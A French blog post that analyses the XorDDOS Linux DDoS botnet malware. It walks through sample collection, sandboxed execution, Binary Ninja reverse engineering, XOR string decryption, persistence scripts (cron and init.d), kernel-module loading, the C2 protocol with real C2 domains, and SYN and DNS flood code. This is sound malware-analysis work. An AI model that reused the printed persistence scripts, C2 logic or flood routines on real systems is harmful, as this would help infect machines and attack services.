Dans ce nouvel article j’analyse un malware sur Linux utilisé pour un botnet dédié au DDOS.
XorDDOS
Le botnet XorDDOS est un réseau de machines infectées par un logiciel malveillant.
Il a été créé pour lancer des attaques déni de service (DDOS), qui visent à rendre un site web, un service ou une infrastructure indisponible en submergeant le serveur cible avec un grand nombre de demandes simultanées.
Le nom “XorDDOS” vient de la fonction XOR (ou “ou exclusif”) utilisée dans le chiffrement du trafic réseau entre les différents nœuds du botnet, ainsi que pour les strings, ce qui le rend plus difficile à détecter et à arrêter.
Le botnet a été découvert pour la première fois en 2014 par des chercheurs en sécurité de Akamai, qui ont identifié les premières versions du logiciel malveillant.
Le binaire (qu’on appellera xorddos
) est propagé via des attaques de bruteforce SSH ou Telnet, qui permettent aux attaquants de les infecter avec le logiciel malveillant et ainsi les contrôler à distance via un serveur de commandes de contrôle (C2).
Les samples
Pour cette analyse il y a un peu plus d’une cinquantaine de samples à notre disposition sur Malware Bazaar.
En utilisant l’API de Malware Bazaar il est possible de télécharger tous les samples pour faire une première passe dessus et voir lequel serait le plus intéressant pour une analyse plus en profondeur.
Le script Python ci-dessous permet de chercher et de télécharger tous malwares taggués “xorddos”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os
import requests
url = "https://mb-api.abuse.ch/api/v1/"
key = {"API-KEY": os.getenv("MB_API_KEY")}
samples = requests.post(
url, headers=key, data={"query": "get_taginfo", "tag": "xorddos"}
).json()['data']
samples_cnt = len(samples)
cnt = 1
for sample in samples:
hash_file = sample['sha256_hash']
print(f"{cnt}/{samples_cnt} downloading sample {hash_file}")
file = requests.post(
url,
headers=key,
data={"query": "get_file", "sha256_hash": sample['sha256_hash']},
).content
open(f"{hash_file}.zip", "wb").write(file)
cnt += 1
Après avoir exécuté le script, Il faut décompresser tous les samples dans un répertoire cible que j’ai appelé samples
.
1
2
3
4
5
6
7
8
9
10
λ /tmp » python3 run.py
1/56 downloading sample ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73
2/56 downloading sample 5a7d7f1d53f039e7b69cf8d040cc043d1264b14107a8a73034e6b90d8e81f87a
3/56 downloading sample 34d70d58eae0338f35488d9a05ac5d703db7aa97699e9365d85e9a843d7c4979
4/56 downloading sample b84cf164fde12dd07192aa44f1b943044610539fd979e0f9359d44062f21a612
5/56 downloading sample 022e101f1d4671796972c9ae6eed81920a59003e751a0fd449b543f630ba36a8
6/56 downloading sample dc2279cbb01ed9d179c6914f1a72ac2c1f9218920d90904b02d1f7781c10736c
..
56/56 downloading sample fb18a78ab398c101ec335992020bdbf6ca35db5d74b6c708d126cf4d4ebf289d
λ /tmp » for i in *.zip; do 7z x -pinfected $i -osamples > /dev/null ; done
Avec la commande file
, nous pouvons faire une première analyse des fichiers.
Sur les 56 récupérés, tous sont linkés statiquement et la majorité sont strippés (élagués en bon français), c’est à dire que les noms des symboles ainsi que les informations de debug ne sont pas présentes.
Néanmoins certains binaires ont toujours leurs symboles présents. Et un seul contient des informations de debug : f4a25e8d960c631699e1b9adab8d29e5e4a2ae0d3be1c7739275a6a72b9b0876.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, with debug_info, not stripped
.
Ce sample date de janvier 2022, au moment où j’écris cet article, il y a un sample plus récent de disponible que je vais analyser en espérant que le C2 soit toujours accessible.
Execution
Avant tout, je lance ce malware pour voir ce qui se passe. Bien sûr, je l’exécute dans un environnement un minimum isolé comme expliqué dans un précédent article.
1
2
3
root@xorddos:/tmp# chmod +x xorddos.bin
root@xorddos:/tmp# ./xorddos.bin
root@xorddos:/tmp#
Rien ne se passe… Mais on voit que des commandes sont lancées.
1
2
3
4
5
6
root 693 5.0 0.0 25596 664 ? Ssl 19:22 0:02 gnome-terminal
root 881 0.0 0.0 1472 1040 ? Ss 19:23 0:00 netstat -antop
root 884 0.0 0.0 1472 1040 ? Ss 19:23 0:00 bash
root 887 0.0 0.0 1472 1040 ? Ss 19:23 0:00 ps -ef
root 889 0.0 0.0 1472 1036 ? Ss 19:23 0:00 grep "A"
root 890 0.0 0.0 1472 1040 ? Ss 19:23 0:00 whoami
Après une restauration de snapshot on relance avec bpftrace
pour tracer tous appels de la syscall execve
qui est utilisée pour éxecuter des programmes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@xorddos:/tmp# bpftrace -e 'tracepoint:syscalls:sys_enter_execve { printf("%d ", tid); join(args->argv); }'
Attaching 1 probe...
5225 ./xorddos.bin
5235 sed -i /\/etc\/cron.hourly\/gcc.sh/d /etc/crontab
5242 systemctl daemon-reload
..
5772 /bin/sh -c /etc/cron.hourly/gcc.sh
5773 /etc/cron.hourly/gcc.sh
5777 awk -F: {print $1}
5776 grep :
5775 cat /proc/net/dev
5780 cp /lib/libudev.so /lib/libudev.so.6
5779 ifconfig ens33 up
5778 ifconfig lo up
5781 /lib/libudev.so.6
Première chose, on remarque qu’un fichier /etc/cron.hourly/gcc.sh
est executé. C’est un script shell, qui sert à activer toutes les interfaces réseau et lancer /lib/libudev.so.6
.
1
2
3
4
5
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6
Le script correspond au binaire xorddos
d’après son hash. Cela lui permet d’appuyer sa persistance même si le processus est tué, il se relancera toutes les heures.
En parallèle, j’ai aussi lancé un tcpdump
sur ma VM routeur pour sniffer le trafic réseau de ma VM xorddos avec la commande suivante : tcpdump -i any host 192.168.123.2 and not port 22 -w xorddos.pcap
.
Le malware tente de résoudre plusieurs domaines avant de télécharger sa config. Malheureusement, la configuration n’est plus disponible et la requête HTTP retourne une 404.
Analyse préliminaire.
Avant de partir sur l’analyse statique, faisons une analyse préliminaire afin de regrouper toutes les informations qu’on peut avoir sur le binaire en question. Cela pourrait nous permettre de gagner un peu de temps durant l’analyse statique.
Première étape, ouvrir le binaire dans Binary Ninja. La vue de triage permet d’avoir quelques informations sur le binaire.
On remarque ci-dessus que tous les symboles du fichier ELF sont présents ce qui va grandement faciliter l’analyse statique.
Binary Diffing
Par curiosité, j’ai différencié le sample le plus récent cible avec celui qui contient les informations de debug pour voir leur similarité.
Sans grande surprise ils sont très similaires, même si le plus récent a quand même une trentaine de fonctions supplémentaires.
Informations de debug
Comme vu plus haut, le sample contient des informations de debug. Cela va nous aider pour l’analyse statique car en plus des noms des fonctions, on peut récupérer les noms exactes des variables ainsi que les différents types.
Les informations de debug contiennent le chemin de compilation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
~/RE/malwares/XorDDOS » readelf -wi xorddos.bin
Contents of the .debug_info section:
Compilation Unit @ offset 0x0:
Length: 0xbe2 (32-bit)
Version: 2
Abbrev Offset: 0x0
Pointer Size: 4
<0><b>: Abbrev Number: 1 (DW_TAG_compile_unit)
<c> DW_AT_stmt_list : 0x0
<10> DW_AT_high_pc : 0x80491be
<14> DW_AT_low_pc : 0x8048228
<18> DW_AT_producer : GNU C 4.1.2 20080704 (Red Hat 4.1.2-48)
<40> DW_AT_language : 1 (ANSI C)
<41> DW_AT_name : autorun.c
<4b> DW_AT_comp_dir : /home/xingwei/Desktop/ddos #whoops
Ainsi que la liste des fichiers source compilés.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
λ ~/RE/malwares/XorDDOS » readelf -wi xorddos.bin | grep 'DW_AT_name.*\.c'
<41> DW_AT_name : autorun.c
<c27> DW_AT_name : crc32.c
<fd9> DW_AT_name : encrypt.c
<10f9> DW_AT_name : execpacket.c
<155c> DW_AT_name : buildnet.c
<2442> DW_AT_name : hide.c
<27fc> DW_AT_name : http.c
<2f2d> DW_AT_name : kill.c
<32b3> DW_AT_name : main.c
<3982> DW_AT_name : proc.c
<472e> DW_AT_name : socket.c
<539e> DW_AT_name : tcp.c
<5bc7> DW_AT_name : thread.c
<634a> DW_AT_name : findip.c
<6641> DW_AT_name : dns.c
Étonnamment, Binary Ninja n’a détecté aucunes informations de debug dans ce fichier.
Dans ce cas, l’astuce c’est d’utiliser objcopy
pour extraire les données de debug: objcopy --only-keep-debug xorddos.bin xorddos.debug
, puis de les réimporter avec le plugin dwarf_import.
L’avantage c’est que les types sont automatiquement appliqués. Voici un exemple avant/après avoir importé les informations de debug dans Binary Ninja dans la fonction clear_task()
.
Il ne reste plus qu’à importer le types dans l’autre sample à l’aide de Binja et de sa fonctionnalité d’imports de types depuis un autre binaire.
Analyse statique
Sample : f4a25e8d960c631699e1b9adab8d29e5e4a2ae0d3be1c7739275a6a72b9b0876
Pour l’analyse statique, j’utilise toujours Binary Ninja. Commençons par le commencement avec la fonction main
ci-dessous.
Binary Ninja: fonction main
Plusieurs variables sont initialisées et remplies de zero avec memset
, rien de fou.
Interception des signaux
La fonction signal (2)
est appelée plusieurs fois. Le premier paramètre correspond à l’identifiant d’un signal, le second, 1
est juste la pour ignorer le signal reçu.
Mais du coup à quel signal cela correspond ? Et bien la réponse est dans le code source du noyau Linux, plus précisément dans le fichier arch/x86/include/uapi/asm/signal.h
.
Ce fichier défini tous les identifiants de chaque signal pour l’architecture x86. C’est grâce à ce header qu’on sait que la valeur 0x16
(22) correspond à SIGTTOU
.
Pour avoir une meilleure représentation des signaux utilisés, j’ai créé une enum que j’ai appliquée à chaque référence de la fonction signal
.
Binary Ninja: Vue des enums
Configuration
Passons à la configuration du malware qui se concentre sur ce bloc de code ci-dessous.
1
2
3
4
5
6
7
8
__setenv("PATH", "/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin", 1);
get_self(&binary_path, 0x400); // get path to the binary
dec_conf(&var_d55, "m ])", 8);
dec_conf(&var_f55, &data_80b0e3d, 0x13);
dec_conf(&var_1055, "m.[$nFR$7nLQQGF", 0x10);
dec_conf(&var_1155, "m.[$nFR$7n9", 0xc);
dec_conf(&var_1255, &data_80b0e6c, 0x23);
dec_conf(&var_e55, "m4S4nAC/nA", 0xb);
La première ligne consiste à modifier la variable d’environnement PATH
. Ensuite avec la fonction get_self
(qui est un wrapper pour la syscall readlink
) le logiciel récupère son propre chemin absolu.
S’en suis la partie déchiffrement de la configuration. La fonction dec_conf
appelle encrypt_code
qui fait du chiffrement XOR avec comme clé BB2FA36AAA9541
.
Binary Ninja: vue pseudo C des fonctions dec_conf et encrypt_code
Binja embarque une fonctionnalité dans son API pour faire du déchiffrement XOR en 2 lignes. Prenons comme exemple le premier paramètre de la fonction dec_conf
: m ])5
.
1
2
3
4
>>> xor = Transform['XOR']
>>> output = xor.decode(b'm ])5', {'key': "BB2FA36AAA9541"})
>>> output.decode()
'/boot'
La version déchiffrée de m ])5
avec la clé BB2FA36AAA9541
retourne /boot
. Ecrivons un snippet qui déchiffre les strings et les ajoute en commentaire de chaque appel de fonction :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_ascii_only(byte_obj):
decoded_str = byte_obj.decode('ascii', errors='ignore')
string = ""
for char in decoded_str:
if ord(char) < 128 and char != ".":
string += char
else:
break
return string
f = bv.get_functions_by_name("dec_conf")
refs = bv.get_code_refs(f[0].start)
xor = Transform['XOR']
for ref in refs:
data = ref.hlil.params[1].value
length = ref.hlil.params[2].value.value
dec = xor.decode(bv.read(data.value, length), {'key': "BB2FA36AAA9541"})
val = get_ascii_only(dec)
bv.set_comment_at(ref.address, val)
En exécutant ce bout de code à l’aide de l’éditeur de snippets ou directement dans la console Python, le script déchiffre chaque premier paramètre de l’appel à la fonction dec_conf
et ajout un commentaire en fin de ligne avec la valeur déchiffrée.
Il reste une dernière étape de déchiffrement de la configuration. Dans un boucle la fonction encrypt_code
est appelée pour déchiffrer 20 octets de données à partir de l’adresse 0x80ccbe0
et cela 22 fois.
for (int32_t i = 0; i <= 22; i = (i + 1))
{
encrypt_code(((i * 0x14) + 0x80ccbe0), 0x14);
}
Pour bien visualiser, c’est ce bloc de données ci-dessous qui est déchiffré par cette boucle.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
00000000: 21 23 46 66 33 56 45 2e 2d 37 17 56 5b 5f 20 30 !#Ff3VE.-7.V[_ 0
00000010: 00 00 00 00 31 2a 32 00 00 00 00 00 00 00 00 00 ....1*2.........
00000020: 00 00 00 00 00 00 00 00 20 23 41 2e 41 00 00 00 ........ #A.A...
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 31 37 32 00 ............172.
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 32 31 12 6b 24 55 36 00 00 00 00 00 00 00 00 00 21.k$U6.........
00000060: 00 00 00 00 2e 31 32 00 00 00 00 00 00 00 00 00 .....12.........
00000070: 00 00 00 00 00 00 00 00 2e 31 12 6b 2d 52 36 00 .........1.k-R6.
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 36 2d 42 46 ............6-BF
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000a0: 2c 27 46 35 35 52 42 61 6c 20 57 35 00 00 00 00 ,'F55RBal W5....
000000b0: 00 00 00 00 2c 27 46 35 35 52 42 61 6c 20 57 41 ....,'F55RBal WA
000000c0: 5b 41 46 00 00 00 00 00 25 30 57 36 61 11 77 63 [AF.....%0W6a.wc
000000d0: 41 00 00 00 00 00 00 00 00 00 00 00 31 2e 57 23 A...........1.W#
000000e0: 31 13 07 41 00 00 00 00 00 00 00 00 00 00 00 00 1..A............
000000f0: 21 26 12 69 24 47 55 41 00 00 00 00 00 00 00 00 !&.i$GUA........
00000100: 00 00 00 00 27 21 5a 29 61 11 50 28 2f 25 1b 35 ....'!Z)a.P(/%.5
00000110: 00 00 00 00 00 00 00 00 2b 24 51 29 2f 55 5f 26 ........+$Q)/U_&
00000120: 61 24 4d 5d 04 31 00 00 00 00 00 00 2b 24 51 29 a$M].1......+$Q)
00000130: 2f 55 5f 26 41 00 00 00 00 00 00 00 00 00 00 00 /U_&A...........
00000140: 30 2d 47 32 24 13 1b 2f 41 00 00 00 00 00 00 00 0-G2$../A.......
00000150: 00 00 00 00 25 2c 5d 2b 24 1e 42 24 33 2c 50 5b ....%,]+$.B$3,P[
00000160: 55 5d 46 00 00 00 00 00 2b 26 32 00 00 00 00 00 U]F.....+&2.....
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 35 2a 5d 46 ............5*]F
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 35 2a 5d 27 2c 5a 36 00 00 00 00 00 00 00 00 00 5*]',Z6.........
000001a0: 00 00 00 00 32 35 56 46 00 00 00 00 00 00 00 00 ....25VF........
000001b0: 00 00 00 00 00 00 00 00 37 32 46 2f 2c 56 36 00 ........72F/,V6.
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Toujours via l’API de Binary Ninja, un script en Python permet de déchiffrer ces données à la volée :
1
2
3
4
5
xor = Transform['XOR']
for i in range(22):
data = (bv.read((i*0x14) + 0x80ccbe0, 0x14))
dec = xor.decode(data, {'key': "BB2FA36AAA9541"})
print(dec.decode())
Le resultat est le suivant :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
cat resolv.conf
sh
bash
su
ps -ef
ls
ls -la
top
netstat -an
netstat -antop
grep "A"
sleep 1
cd /etc
echo "find"
ifconfig eth0
ifconfig
route -n
gnome-terminal
id
who
whoami
pwd
Installation
S’en suis la création des répertoires et l’installation du malware.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void* self_path_ret = get_self_path(&self_path);
int32_t cmp;
if (self_path_ret != 0)
{
cmp = strcmp(&self_path, &default_runpath);
if (cmp != 0)
{
CreateDir(&default_runpath); // /boot
CreateDir(&back_path); // /lib/udev/udev
CreateDir(&lockpath); // /var/run/
randstr(&RandName);
__snprintf(&NewName, 0x400, "%s%s", &default_runpath, &RandName);
get_self(&self_file);
remove(&back_file);
copyfile(&self_file, &back_file);
copyfile(&self_file, &NewName);
LinuxExec(&NewName);
__sleep(1);
remove(&self_file);
}
}
Un fois copié, il est à nouveau exécuté.
Pour la persistance, il faut s’intéresser en premier temps à la fonction InstallSYS()
. Un point intéressant, celle-ci n’est pas enterrement décompilée. En remplaçant l’instruction jbe 0x8048cd5
par des NOP
, on arrive a décompiler le reste de la fonction.
Après avoir épuré le code et modifié quelques prototypes de fonctions, voici le code :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int32_t InstallSYS()
{
void SysName;
memset(&SysName, 0, 0x400);
int32_t RandSysName = 0;
char default_runpath[0x100];
memset(&default_runpath, 0, 0x100);
memmove(&default_runpath, "m ])", 7); // /boot
encrypt_code(&default_runpath);
randstr(&RandSysName);
__snprintf(&SysName, 0x400, "%s%s", &default_runpath, &RandSysName);
if (writefile(&SysName, &SYS_BUF, 1) != 0)
{
LinuxExec_Argv("insmod", &SysName);
__sleep(2);
remove(&SysName);
}
return 0;
}
Cette fonction écrit sur disque dans /boot/{random_string}
un module noyau et le lance avec la commande insmod
. Malheureusement SYS_BUF
est vide, donc pas de kernel module chargé.
Pour la persistence, dans la fonction suivante, AddService()
, on a d’abord la création d’un script dans /etc/init.d
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh
# chkconfig: 12345 90 90
# description: knwnntqyko
### BEGIN INIT INFO
# Provides: knwnntqyko
# Required-Start:
# Required-Stop:
# Default-Start: 1 2 3 4 5
# Default-Stop:
# Short-Description: knwnntqyko
### END INIT INFO
case $1 in
start)
/usr/bin/knwnntqyko
;;
stop)
;;
*)
knwnntqyko
;;
esac
Ainsi que l’écriture d’un autre script très familier qu’on a vu plus haut :
1
"#!/bin/sh\nPATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin\nfor i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done\ncp /lib/udev/udev /lib/udev/debug\n/lib/udev/debug\n"
Puis la fonction decrypt_remotestr
s’occupe de déchiffrer et de parser la liste des C2s :
aaaaaaaaaa.re67das.com:5859
aa369369.f3322.org:2897
aa369369.f3322.org:2897
Kernel module
Un petit mot sur le kernel module. Bien qu’il ne soit pas chargé, ça reste intéressant d’en parler.
Le malware communique avec le kernel modules a l’aide d’IOCTLs via un fichier procfs dans /proc/rs_dev
.
En se basant sur le nom des fonctions, il a la possibilité de cacher des fichiers, des ports ouverts ainsi que le blocage des flux sur la machine infectée.
tcp_thread
Pour tout ce qui est communication avec le C2 et déni de service, ça passe par un thread créé à la fin de la fonction main : tcp_thread
.
Pour cette partie le code interagit principalement avec la structure Header
:
1
2
3
4
5
6
7
8
9
10
struct Header
{
uint32_t CRC;
uint32_t Size;
uint32_t Order;
uint32_t Task_Num;
uint32_t TimeOut;
uint32_t BeginIP;
uint32_t EndIP;
};
Le code commence par appeler la fonction bypass_iptables
, qui, à l’aide du kernel module permettrait de communiquer avec l’adresse IP 114.114.114.114
qui est un résolveur DNS public chinois.
Ensuite, s’en suit l’initialisation de deux structures : Header
et OnLineMsg
. Les membres de la première structure sont initialisés à 0.
La seconde structure est initialisée avec les informations système de la machine. Puis chiffrée avec la fonction encrypt_code()
qui chiffre et déchiffre avec la même clé XOR.
En premier lieu, la structure Header
est envoyée, puis s’en suit OnLineMsg
. De suite le malware s’attend à ce qu’une structure Header
soit renvoyée par le C2 puis le CRC est vérifié.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct OnLineMsg OnLineMsg;
memset(&OnLineMsg, 0, sizeof(OnLineMsg);
struct utsname uts;
__uname(&uts);
memmove(&OnLineMsg.machine, &uts.machine, 0x41);
memmove(&OnLineMsg.release, &uts.release, 0x41);
memmove(&OnLineMsg.MAGIC_STR, 0x80cd920, 0x21);
memmove(&OnLineMsg.username, "xx", 3);
memmove(&OnLineMsg.version, "1.2.3", 6);
GetMemStat(&OnLineMsg);
GetCpuInfo(&OnLineMsg.cpuinfo);
OnLineMsg.laninfo = GetLanSpeed(htonl(self_ip));
OnLineMsg.sys = CheckLKM();
encrypt_code(&OnLineMsg, 0x110);
if (((safesend(sock_fd, &header, 0x1c) != 0 &&
safesend(sock_fd, &OnLineMsg, 0x110) != 0) &&
recv_t(sock_fd, &header, 0x1c, 2) == 0x1c) &&
header.CRC == CalcHeaderCrc(header.CRC)
) {
...
exec_packet(sock_fd, header.CRC);
}
Ensuite, on rentre dans la fonction exec_packet
. C’est dans cette fonction qu’en fonction de la valeur de Header.Order
une action est effectuée. Ci-dessous un tableau avec les opérations d’exécution du malware :
Order ID | fonction | Description |
---|---|---|
2 | g_stop = 1 | sortie du thread threadwork |
3 | threadwork | déni de service |
6 | downloadfile | téléchargement d’un fichier |
7 | updatefile | mise à jour du malware |
Pour finir, intéressons-nous à la fonction threadwork()
, qui prend en paramètre la structure suivante :
1
2
3
4
5
6
7
8
9
struct thread_work
{
uint32_t thread_id;
struct task_data_list task_list;
uint32_t array[65535];
uint32_t TimeOut;
uint32_t BeginIP;
uint32_t EndIP;
};
C’est dans cette fonction que s’effectue le déni de service, en fonction du type d’attaque, définie par atk_type
. Il peut y avoir du déni de service par SYN flood ou via amplification DNS.
1
2
3
4
5
6
7
8
9
10
11
if (p_task_data->atk_type != 4) {
Buf = fix_syn(p_task_data->Buf, p_task_data->Buf_Size, ip, rand);
}
else {
Buf = fix_dns(p_task_data->Buf, p_task_data->Buf_Size, ip, rand);
}
if (Buf != 0) {
sin.sin_port = htons(p_task_data->dst_port);
sin.sin_addr.s_addr = p_task_data->dst_ip;
sendto(sock_fd, Buf, p_task_data->Buf_Size, 0, &sin, 0x10);
}
Le tout est ensuite envoyé au serveur cible via la syscall sendto
et 65534 fois pour chaque IP (ou aléatoirement défini dans le range BeginIP
-EndIP
).
L’attaque a lieu pendant un certain laps de temps configuré par la variable TimeOut
. Celle-ci peut être interrompue à tout moment si g_stop
est égal à 1.
Pour conclure, on a un logiciel, plutôt facile à analyser. Mise à part le chiffrement XOR des strings, il n’y pas d’offuscation.
Une fois installé et grâce à la persistance, il est embêtant à supprimer définitivement. Et si le kernel module est installé, l’exécutable peut être “caché”. Pareil pour la liste des ports ouverts.
En lisant les premiers rapports qui datent de 2015, on voit que c’est un malware qui n’a pas énormément évolué au fil du temps.
J’espère que ce post vous a plu, n’hésitez pas à me contacter sur Twitter, Mastodon ou même par mail si vous avez des questions.
Liens et sources :